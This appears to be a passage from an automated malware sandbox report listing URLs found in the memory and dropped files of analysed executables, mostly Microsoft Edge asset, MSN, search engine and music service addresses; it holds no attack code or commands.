Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://c.msn.com/
Source: KEBKJDBA.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.1583274638.00000000237FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBA.1.dr, EGCBAFCF.1.dr, Web Data.15.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.1583274638.00000000237FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBA.1.dr, EGCBAFCF.1.dr, Web Data.15.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.15.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.15.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 0fcd231f-7319-4220-a091-2a3d1dec7a72.tmp.16.dr, d6cd01c3-3d63-48d1-80b7-bed7f7a23ac9.tmp.16.dr	String found in binary or memory: https://clients2.google.com
Source: 0fcd231f-7319-4220-a091-2a3d1dec7a72.tmp.16.dr, d6cd01c3-3d63-48d1-80b7-bed7f7a23ac9.tmp.16.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1846346705.0000000023852000.00000004.00000020.00020000.00000000.sdmp, CFCFHJDBKJKEBFHJEHII.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1846346705.0000000023852000.00000004.00000020.00020000.00000000.sdmp, CFCFHJDBKJKEBFHJEHII.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: file.exe, 00000001.00000003.1583274638.00000000237FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBA.1.dr, EGCBAFCF.1.dr, Web Data.15.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000003.1583274638.00000000237FD000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBA.1.dr, EGCBAFCF.1.dr, Web Data.15.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000003.1583274638.00000000237FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBA.1.dr, EGCBAFCF.1.dr, Web Data.15.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 0fcd231f-7319-4220-a091-2a3d1dec7a72.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log4.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log4.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log4.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://gaana.com/
Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: d4a6d0bce7.exe, 00000024.00000002.2537754878.0000000001350000.00000040.00000001.01000000.0000000F.sdmp, d4a6d0bce7.exe, 00000024.00000003.2475730150.000000000781F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: CFCFHJDBKJKEBFHJEHII.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://m.kugou.com/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://m.vk.com/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://music.amazon.com
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://music.apple.com
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log7.15.dr	String found in binary or memory: https://ntp.msn.com
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13377202377233379.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://open.spotify.com
